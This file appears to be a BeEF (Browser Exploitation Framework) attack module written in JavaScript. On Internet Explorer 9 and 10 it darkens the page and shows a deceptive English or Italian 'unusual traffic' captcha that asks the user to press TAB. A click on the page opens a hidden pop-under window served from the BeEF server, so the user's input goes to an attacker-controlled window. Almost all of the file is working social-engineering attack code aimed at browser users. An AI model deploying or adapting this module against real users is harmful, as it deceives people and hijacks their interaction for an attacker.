//
// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
	if(beef.browser.isIE()){

        var captcha_message = "";
        var tab_message = "";
        var captcha_src = "";
        // TODO this image is either corrupted or simply thew GIF animation doesn't work
        var blink_src = "";

        switch (beef.browser.getBrowserLanguage().substring(0,2)){
           case "en":
               lang = "en";
               captcha_message = "<h2>Our systems have detected unusual traffic from your computer network.</h2><br><h3> In order to continue, please solve the following Captcha after <b>pressing the [TAB] key</b>:</h3>";
               tab_message = "You must press the [TAB] key first, then solve the Captcha.";
               captcha_src = "";
               break;
           case "it":
               lang = "it";
               captcha_message = "<h2>I nostri sistemi hanno rilevato traffico inusuale proveniente dal tuo computer.</h2><br><h3> Per continuare, risolvi il seguente Captcha <b>dopo aver premuto il tasto [TAB]</b>:</h3>";
               tab_message = "Devi prima premere il tasto [TAB], poi risolvere il Captcha.";
               captcha_src = "";
               break;
           default:
               // defaults to english
               lang = "en";
               captcha_message = "<h2>Our systems have detected unusual traffic from your computer network.</h2><br><h3> In order to continue, please solve the following Captcha after pressing the [TAB] key:</h3>";
               tab_message = "You must press the [TAB] key first, then solve the Captcha.";
               captcha_src = "";
               break;
        }

        var grayOut = function(vis, options) {
            var options = options || {};
            var zindex = options.zindex || 50;
            var opacity = options.opacity || 70;
            var opaque = (opacity / 100);
            var bgcolor = options.bgcolor || '#000000';
            var dark=document.getElementById('darkenScreenObject');
            if (!dark) {
                var tbody = document.getElementsByTagName("body")[0];
                var tnode = document.createElement('div');
                tnode.style.position='absolute';
                tnode.style.top='0px';
                tnode.style.left='0px';
                tnode.style.overflow='hidden';
                tnode.style.display='none';
                tnode.id='darkenScreenObject';
                tbody.appendChild(tnode);
                dark=document.getElementById('darkenScreenObject');
            }
            if (vis) {
                var pageWidth='100%';
                var pageHeight='100%';
                dark.style.opacity=opaque;
                dark.style.MozOpacity=opaque;
                dark.style.filter='alpha(opacity='+opacity+')';
                dark.style.zIndex=zindex;
                dark.style.backgroundColor=bgcolor;
                dark.style.width= pageWidth;
                dark.style.height= pageHeight;
                dark.style.display='block';
            } else {
                dark.style.display='none';
            }
        };

        function spawnPopunder(){
            var url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/underpop.html'
            var pu = window.open(url,'','top=0, left=0,width=500,height=500');
            pu.blur();
        }

        // The keypress focus is on the popunder, but the following would be nice to have to force the victim to press TAB
//        var tab_pressed = false;
//        function checkTabPressed(){
//            beef.debug(event.keyCode);
//            if(tab_pressed && event.keyCode != 9){
//                // all good
//            }else if(event.keyCode == 9){
//                tab_pressed = true;
//            }else{
//                alert(tab_message);
//            }
//        }

        if(beef.browser.isIE9() || beef.browser.isIE10()){
            document.body.onclick = function(){
                spawnPopunder();

                grayOut(true,{'opacity':'70'});

                var fake_captcha = document.createElement('div');
                fake_captcha.setAttribute('id', 'popup');
                fake_captcha.setAttribute('style', 'width:400px;position:absolute; top:20%; left:40%; z-index:51; background-color:white;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000');
                fake_captcha.setAttribute('align', 'center');
                // using onkeydown because onkeypress is not capturing TAB in IE
                //fake_captcha.onkeydown = function(){checkTabPressed();};
                document.body.appendChild(fake_captcha);
                fake_captcha.innerHTML= '<br>' + captcha_message + '<table border=\'0\'><tr><td><img src="' + blink_src + '"></td><tr><td><img src="' + captcha_src + '"></td></tr></table>';

            };
        }else{
           // unsupported IE version
        }
    }
});

